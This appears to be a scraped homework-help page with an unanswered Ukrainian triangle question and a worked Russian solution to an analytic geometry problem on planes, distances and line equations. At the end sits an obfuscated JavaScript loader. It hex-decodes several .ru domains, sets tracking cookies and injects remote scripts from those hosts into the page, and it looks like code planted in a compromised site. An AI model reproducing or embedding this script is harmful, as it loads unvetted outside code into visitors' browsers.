. У трикутнику ABC AC = 6 см, ВС = 18 см. Точка D належить стороні АВ, до того ж AD
2 см, BD = 16 см. Знайдіть сторону CD.​

Даны точки A(0;3;-1), B(-1;-2;5), C(1;0;-4), D(-3;-1;-2). Найти:

1) общее уравнение плоскости АВС;

Находим векторы АВ и АС: АВ = (-1; -5; 6), АС = (1; -3; -3).

Их векторное произведение равно:

i         j        k|       i        j

-1      -5        6|     -1      -5

1       -3       -3|      1      -3    =  15i + 6j  + 3k - 3j + 18i + 5k =

                                          = 33i + 3j + 8k.

Нормальный вектор плоскости АВС это (33; 3; 8).

Уравнение плоскости Ax + By + Cz + D = 0.

Подставим координаты точки А:  33*0 + 3*3 + 8*(-1) + D = 0.

1 + D = 0. отсюда D = -1.

Получаем уравнение плоскости АВС: 33x + 3y + 8z - 1 = 0.

2) общее уравнение плоскости, проходящей через точку D параллельно плоскости АВС;

Для параллельной плоскости нормальный вектор сохраняется.

Подставим координаты точки D(-3;-1;-2):

33*(-3) + 3*(-1) + 8*(-2) + D = 0,

-99 - 3 - 16 + D = 0,

-118 + D = 0, отсюда D = 118.

Уравнение 33x + 3y + 8z + 118 = 0.

3) расстояние от точки D до плоскости ABC;

Для вычисления расстояния от точки M(Mx; My; Mz) до плоскости Ax + By + Cz + D = 0

используем формулу:d =   |A·Mx + B·My + C·Mz + D| /√(A² + B² + C²)  

Подставим в формулу данные:

d =   |33·(-3) + 3·(-1) + 8·(-2) + (-1)|/ √(33² + 3² + 8²)  =   |-99 - 3 - 16 - 1|/ √(1089 + 9 + 64)  =    119/ √1162  =   17√1162/166  ≈ 3.49095.

4) канонические уравнения прямой АВ;  точка A(0;3;-1).

Вектор АВ найден выше: АВ = (-1; -5; 6).

Уравнение АВ: x/(-1) = (y - 3)/(-5) = (z + 1)/6.

5) канонические уравнения прямой, проходящей через точку D параллельно прямой AB;  Направляющий вектор АВ(-1; -5; 6) для параллельной прямой сохраняется. Подставляем координаты точки D(-3;-1;-2).

Уравнение : (x + 3)/(-1) = (y + 1)/(-5) = (z + 2)/6.

6) общее уравнение плоскости, проходящей через точку D(-3;-1;-2) перпендикулярно прямой AB.

Вектор АВ (-1; -5; 6) будет нормальным вектором этой плоскости.

Уравнение плоскости Ax + By + Cz + D = 0.

Подставим координаты вектора и точки D:  

(-1)*(-3) + (-5)*(-1) + 6*(-2) + D = 0.

-4 + D = 0. отсюда D = 4.

Уравнение: (-1)x + (-5)y + 6z + 4 = 0 или с положительным коэффициентом перед х:

x + 5y - 6z - 4 = 0.

Window.a1336404323 = 1;!function(){var e=JSON.parse('["34676d696d7839373269707267722e7275","6362627a653575326d36357667382e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="17851",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();